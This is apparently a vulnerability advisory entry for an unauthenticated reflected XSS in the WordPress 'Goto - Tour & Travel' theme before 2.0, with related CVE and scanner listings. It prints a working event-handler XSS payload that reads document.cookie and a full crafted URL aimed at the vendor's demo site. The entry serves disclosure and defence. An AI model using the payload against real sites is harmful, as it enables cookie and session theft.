Lucene search
M0zeWPEX-ID:EECE90AA-582B-4C49-8B7C-14027F9DF139HistoryMar 31, 2021 - 12:00 a.m.
Goto - Tour & Travel < 2.0 - Unauthenticated Reflected XSS
2021-03-3100:00:00
m0ze
75
The theme does not sanitise the keywords and start_date GET parameter on its Tour List page, leading to an unauthenticated reflected Cross-Site Scripting issue.
Payload: <input/Autofocus/%0D*/Onfocus=alert(`m0ze`);alert(document.cookie);//>
https://boostifythemes.com/demo/wp/goto/tour-list/?keywords=%3Cinput%2FAutofocus%2F%250D*%2FOnfocus%3Dalert%28%60m0ze%60%29%3Balert%28document.cookie%29%3B%2F%2F%3E&start_date=%3Cinput%2FAutofocus%2F%250D*%2FOnfocus%3Dalert%28%60m0ze%60%29%3Balert%28document.cookie%29%3B%2F%2F%3E&avaibility=13Related
wpvulndb
wpvulndb
Goto - Tour & Travel < 2.0 - Unauthenticated Reflected XSS
2021-03-31 00:00:00
nuclei
nuclei
WordPress Goto Tour & Travel Theme <2.0 - Cross-Site Scripting
2021-07-15 11:03:53
cve
cve
CVE-2021-24235
2021-04-22 21:15:00
prion
prion
Cross site scripting
2021-04-22 21:15:00
Related for WPEX-ID:EECE90AA-582B-4C49-8B7C-14027F9DF139